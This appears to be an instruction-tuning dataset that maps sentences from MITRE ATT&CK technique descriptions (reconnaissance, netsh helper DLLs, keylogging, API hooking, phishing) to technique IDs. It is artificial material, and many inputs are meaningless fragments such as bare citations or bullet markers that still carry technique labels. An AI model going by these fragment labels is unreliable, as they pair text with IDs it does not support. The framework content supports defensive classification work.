"output": "T1592", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)). ### Response: T1592."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather information about the victim's host software that can be used during targeting.", "output": "T1592.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather information about the victim's host software that can be used during targeting. ### Response: T1592.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about installed software may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: antivirus, SIEMs, etc.).", "output": "T1592.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about installed software may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: antivirus, SIEMs, etc.). ### Response: T1592.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598).", "output": "T1592.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). ### Response: T1592.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the installed software may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices).", "output": "T1592.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the installed software may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). ### Response: T1592.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or", "output": "T1592.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or ### Response: T1592.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or for initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).", "output": "T1592.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or for initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)). ### Response: T1592.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.", "output": "T1128", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. ### Response: T1128."}{"instruction": "List the MITRE techniques contained in the text.", "input": "It contains functionality to add helper DLLs for extending functionality of the utility.", "output": "T1128", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: It contains functionality to add helper DLLs for extending functionality of the utility. ### Response: T1128."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: TechNet Netsh)", "output": "T1128", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: TechNet Netsh) ### Response: T1128."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at <code>HKLM\\SOFTWARE\\Microsoft\\Netsh</code>.", "output": "T1128", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at <code>HKLM\\SOFTWARE\\Microsoft\\Netsh</code>. ### Response: T1128."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can use netsh.exe with helper DLLs to proxy execution of arbitrary code in a persistent manner when netsh.exe is executed automatically with another Persistence technique or if other persistent software is present on the system that executes netsh.exe as part of its normal functionality.", "output": "T1128", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can use netsh.exe with helper DLLs to proxy execution of arbitrary code in a persistent manner when netsh.exe is executed automatically with another Persistence technique or if other persistent software is present on the system that executes netsh.exe as part of its normal functionality. ### Response: T1128."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Examples include some VPN software that invoke netsh.exe.", "output": "T1128", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Examples include some VPN software that invoke netsh.exe. ### Response: T1128."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Demaske Netsh Persistence)\n\nProof of concept code exists to load Cobalt Strike's payload using netsh.exe helper DLLs.", "output": "T1128", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Demaske Netsh Persistence)\n\nProof of concept code exists to load Cobalt Strike's payload using netsh.exe helper DLLs. ### Response: T1128."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Github Netsh Helper CS Beacon)", "output": "T1128", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Github Netsh Helper CS Beacon) ### Response: T1128."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may log user keystrokes to intercept credentials as the user types them.", "output": "T1056.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may log user keystrokes to intercept credentials as the user types them. ### Response: T1056.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Keylogging is likely to be used to acquire credentials for new access opportunities when [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) efforts are not effective, and may require an adversary to intercept keystrokes on a system for a substantial period of time before credentials can be successfully captured.", "output": "T1056.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Keylogging is likely to be used to acquire credentials for new access opportunities when [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) efforts are not effective, and may require an adversary to intercept keystrokes on a system for a substantial period of time before credentials can be successfully captured. ### Response: T1056.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In order to increase the likelihood of capturing credentials quickly, an adversary may also perform actions such as clearing browser cookies to force users to reauthenticate to systems.(Citation: Talos Kimsuky Nov 2021)", "output": "T1056.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In order to increase the likelihood of capturing credentials quickly, an adversary may also perform actions such as clearing browser cookies to force users to reauthenticate to systems.(Citation: Talos Kimsuky Nov 2021) ### Response: T1056.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Keylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes.(Citation: Adventures of a Keystroke)", "output": "T1056.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Keylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes.(Citation: Adventures of a Keystroke) ### Response: T1056.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Some methods include:\n\n*", "output": "T1056.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Some methods include:\n\n* ### Response: T1056.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Hooking API callbacks used for processing keystrokes.", "output": "T1056.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Hooking API callbacks used for processing keystrokes. ### Response: T1056.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Unlike [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004), this focuses solely on API functions intended for processing keystroke data.", "output": "T1056.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Unlike [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004), this focuses solely on API functions intended for processing keystroke data. ### Response: T1056.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "*", "output": "T1056.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * ### Response: T1056.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Reading raw keystroke data from the hardware buffer.", "output": "T1056.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Reading raw keystroke data from the hardware buffer. ### Response: T1056.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "* Windows Registry modifications.", "output": "T1056.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * Windows Registry modifications. ### Response: T1056.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "* Custom drivers.", "output": "T1056.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * Custom drivers. ### Response: T1056.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "*", "output": "T1056.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * ### Response: T1056.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Modify System Image](https://attack.mitre.org/techniques/T1601) may provide adversaries with hooks into the operating system of network devices to read raw keystrokes for login sessions.(Citation: Cisco Blog Legacy Device Attacks)", "output": "T1056.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Modify System Image](https://attack.mitre.org/techniques/T1601) may provide adversaries with hooks into the operating system of network devices to read raw keystrokes for login sessions.(Citation: Cisco Blog Legacy Device Attacks) ### Response: T1056.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may mimic common operating system GUI components to prompt users for credentials with a seemingly legitimate prompt.", "output": "T1056.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may mimic common operating system GUI components to prompt users for credentials with a seemingly legitimate prompt. ### Response: T1056.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)).", "output": "T1056.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)). ### Response: T1056.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper)", "output": "T1056.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) ### Response: T1056.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This type of prompt can be used to collect credentials via various languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002)(Citation: LogRhythm Do You Trust Oct 2014)(Citation:", "output": "T1056.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This type of prompt can be used to collect credentials via various languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: ### Response: T1056.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "OSX Keydnap malware)(Citation: Spoofing credential dialogs)", "output": "T1056.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: OSX Keydnap malware)(Citation: Spoofing credential dialogs) ### Response: T1056.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "and [PowerShell](https://attack.mitre.org/techniques/T1059/001).(Citation: LogRhythm", "output": "T1056.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: and [PowerShell](https://attack.mitre.org/techniques/T1059/001).(Citation: LogRhythm ### Response: T1056.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Do You Trust Oct 2014)(Citation:", "output": "T1056.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Do You Trust Oct 2014)(Citation: ### Response: T1056.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Enigma Phishing for Credentials Jan 2015)(Citation:", "output": "T1056.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Enigma Phishing for Credentials Jan 2015)(Citation: ### Response: T1056.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Spoofing credential dialogs)", "output": "T1056.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Spoofing credential dialogs) ### Response: T1056.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On Linux systems adversaries may launch dialog boxes prompting users for credentials from malicious shell scripts or the command line (i.e. [Unix Shell](https://attack.mitre.org/techniques/T1059/004)).(Citation: Spoofing credential dialogs)", "output": "T1056.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On Linux systems adversaries may launch dialog boxes prompting users for credentials from malicious shell scripts or the command line (i.e. [Unix Shell](https://attack.mitre.org/techniques/T1059/004)).(Citation: Spoofing credential dialogs) ### Response: T1056.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may hook into Windows application programming interface (API) functions to collect user credentials.", "output": "T1056.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. ### Response: T1056.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.(Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017)", "output": "T1056.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.(Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017) ### Response: T1056.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Unlike [Keylogging](https://attack.mitre.org/techniques/T1056/001),  this technique focuses specifically on API functions that include parameters that reveal user credentials.", "output": "T1056.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Unlike [Keylogging](https://attack.mitre.org/techniques/T1056/001),  this technique focuses specifically on API functions that include parameters that reveal user credentials. ### Response: T1056.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Hooking involves redirecting calls to these functions and can be implemented via:", "output": "T1056.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Hooking involves redirecting calls to these functions and can be implemented via: ### Response: T1056.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "* **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs.(Citation: Microsoft Hook Overview)(Citation: Elastic Process Injection July 2017)", "output": "T1056.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs.(Citation: Microsoft Hook Overview)(Citation: Elastic Process Injection July 2017) ### Response: T1056.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "* **Import address table (IAT) hooking**, which use modifications to a process\u2019s IAT, where pointers to imported API functions are stored.(Citation: Elastic Process Injection July 2017)(Citation: Adlice Software IAT Hooks Oct 2014)(Citation:", "output": "T1056.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * **Import address table (IAT) hooking**, which use modifications to a process\u2019s IAT, where pointers to imported API functions are stored.(Citation: Elastic Process Injection July 2017)(Citation: Adlice Software IAT Hooks Oct 2014)(Citation: ### Response: T1056.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "MWRInfoSecurity Dynamic Hooking 2015)", "output": "T1056.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: MWRInfoSecurity Dynamic Hooking 2015) ### Response: T1056.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "* **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow.(Citation: Elastic Process Injection July 2017)(Citation:", "output": "T1056.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow.(Citation: Elastic Process Injection July 2017)(Citation: ### Response: T1056.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "HighTech Bridge Inline Hooking Sept 2011)(Citation: MWRInfoSecurity Dynamic Hooking 2015)", "output": "T1056.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: HighTech Bridge Inline Hooking Sept 2011)(Citation: MWRInfoSecurity Dynamic Hooking 2015) ### Response: T1056.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service.", "output": "T1056.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. ### Response: T1056.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, a compromised login page may log provided user credentials before logging the user in to the service.", "output": "T1056.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, a compromised login page may log provided user credentials before logging the user in to the service. ### Response: T1056.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through [External Remote Services](https://attack.mitre.org/techniques/T1133) and [Valid Accounts](https://attack.mitre.org/techniques/T1078) or as part of the initial compromise by exploitation of the externally facing web service.(Citation: Volexity Virtual Private Keylogging)", "output": "T1056.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through [External Remote Services](https://attack.mitre.org/techniques/T1133) and [Valid Accounts](https://attack.mitre.org/techniques/T1078) or as part of the initial compromise by exploitation of the externally facing web service.(Citation: Volexity Virtual Private Keylogging) ### Response: T1056.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use methods of capturing user input to obtain credentials or collect information.", "output": "T1056", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use methods of capturing user input to obtain credentials or collect information. ### Response: T1056."}{"instruction": "List the MITRE techniques contained in the text.", "input": "During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes.", "output": "T1056", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. ### Response: T1056."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Input capture mechanisms may be transparent to the user (e.g. [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004)) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. [Web Portal Capture](https://attack.mitre.org/techniques/T1056/003)).", "output": "T1056", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Input capture mechanisms may be transparent to the user (e.g. [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004)) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. [Web Portal Capture](https://attack.mitre.org/techniques/T1056/003)). ### Response: T1056."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may send phishing messages to gain access to victim systems.", "output": "T1566", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may send phishing messages to gain access to victim systems. ### Response: T1566."}{"instruction": "List the MITRE techniques contained in the text.", "input": "All forms of phishing are electronically delivered social engineering.", "output": "T1566", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: All forms of phishing are electronically delivered social engineering. ### Response: T1566."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Phishing can be targeted, known as spearphishing.", "output": "T1566", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Phishing can be targeted, known as spearphishing. ### Response: T1566."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In spearphishing, a specific individual, company, or industry will be targeted by the adversary.", "output": "T1566", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In spearphishing, a specific individual, company, or industry will be targeted by the adversary. ### Response: T1566."}{"instruction": "List the MITRE techniques contained in the text.", "input": "More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns.", "output": "T1566", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns. ### Response: T1566."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems.", "output": "T1566", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. ### Response: T1566."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Phishing may also be conducted via third-party services, like social media platforms.", "output": "T1566", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Phishing may also be conducted via third-party services, like social media platforms. ### Response: T1566."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Phishing may also involve social engineering techniques, such as posing as a trusted source, as well as evasive techniques such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., [Email Hiding Rules](https://attack.mitre.org/techniques/T1564/008)).(Citation: Microsoft OAuth Spam 2022)(Citation:", "output": "T1566", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Phishing may also involve social engineering techniques, such as posing as a trusted source, as well as evasive techniques such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., [Email Hiding Rules](https://attack.mitre.org/techniques/T1564/008)).(Citation: Microsoft OAuth Spam 2022)(Citation: ### Response: T1566."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Palo Alto Unit 42 VBA Infostealer 2014)", "output": "T1566", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Palo Alto Unit 42 VBA Infostealer 2014) ### Response: T1566."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Another way to accomplish this is by forging or spoofing(Citation: Proofpoint-spoof) the identity of the sender which can be used to fool both the human recipient as well as automated security tools.(Citation: cyberproof-double-bounce)", "output": "T1566", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Another way to accomplish this is by forging or spoofing(Citation: Proofpoint-spoof) the identity of the sender which can be used to fool both the human recipient as well as automated security tools.(Citation: cyberproof-double-bounce) ### Response: T1566."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Victims may also receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware,(Citation: sygnia Luna Month)(Citation:", "output": "T1566", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Victims may also receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware,(Citation: sygnia Luna Month)(Citation: ### Response: T1566."}{"instruction": "List the MITRE techniques contained in the text.", "input": "CISA Remote Monitoring and Management Software) or install adversary-accessible remote management tools onto their computer (i.e., [User Execution](https://attack.mitre.org/techniques/T1204)).(Citation:", "output": "T1566", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: CISA Remote Monitoring and Management Software) or install adversary-accessible remote management tools onto their computer (i.e., [User Execution](https://attack.mitre.org/techniques/T1204)).(Citation: ### Response: T1566."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Unit42 Luna Moth)", "output": "T1566", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Unit42 Luna Moth) ### Response: T1566."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use voice communications to ultimately gain access to victim systems.", "output": "T1566.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use voice communications to ultimately gain access to victim systems. ### Response: T1566.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Spearphishing voice is a specific variant of spearphishing.", "output": "T1566.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Spearphishing voice is a specific variant of spearphishing. ### Response: T1566.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "It is different from other forms of spearphishing in that is employs the use of manipulating a user into providing access to systems through a phone call or other forms of voice communications.", "output": "T1566.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### 